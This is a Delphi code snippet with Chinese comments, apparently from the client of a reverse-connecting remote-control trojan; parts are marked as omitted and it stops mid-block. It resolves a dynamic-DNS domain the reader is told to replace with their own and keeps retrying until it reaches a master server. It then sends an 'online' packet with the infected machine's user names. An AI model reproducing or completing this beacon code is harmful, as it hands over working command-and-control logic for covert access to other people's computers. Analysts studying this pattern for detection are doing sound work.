uses
winsock

var
IP:String;
..............//省略
const

MasterDNSE   = 'abc.3322.org'; //你的动态域名
..............//省略

function HostToIP(Name: string; var Ip: string): Boolean; //解析域名
var
   wsdata : TWSAData;
   hostName : array [0..255] of char;
   hostEnt : PHostEnt;
   addr : PChar;
begin
   WSAStartup ($0101, wsdata);
   try
gethostname (hostName, sizeof (hostName));
StrPCopy(hostName, Name);
hostEnt := gethostbyname (hostName);
if Assigned (hostEnt) then
   if Assigned (hostEnt^.h_addr_list) then begin
       addr := hostEnt^.h_addr_list^;
       if Assigned (addr) then begin
      IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
      byte (addr [1]), byte (addr [2]), byte (addr [3])]);
      Result := True;
       end
       else
      Result := False;
   end
   else
       Result := False
else begin
   Result := False;
end;
   finally
WSACleanup;
   end
end;
//然后在WINMIAN使用

procedure WinMain();
var
   dwResult: DWORD;
   StrBuffer: String;
   MinBuffer: TMinBufferHeader;
begin
   MasterSocket := TClientSocket.Create;
//   循环连接Server
   while Not (MasterSocket.Connected) do
   begin
HostToIP(MasterDNSE,IP); //把MasterDNSE解析成IP
MasterSocket.Connect(IP, MasterPort); //连接IP端口
if MasterSocket.Connected then
begin
   //   发送上线数据包
   StrBuffer := GetPcUserName(0) + '|' + GetPcUserName(1) + '|';
   if SendData(MasterSocket, Client_Online, StrBuffer) then
   begin
       //   判断是否连接超时
       if MasterSocket.Idle(3) <= 0 then
       begin
      MasterSocket.Disconnect;
      Continue;
       end;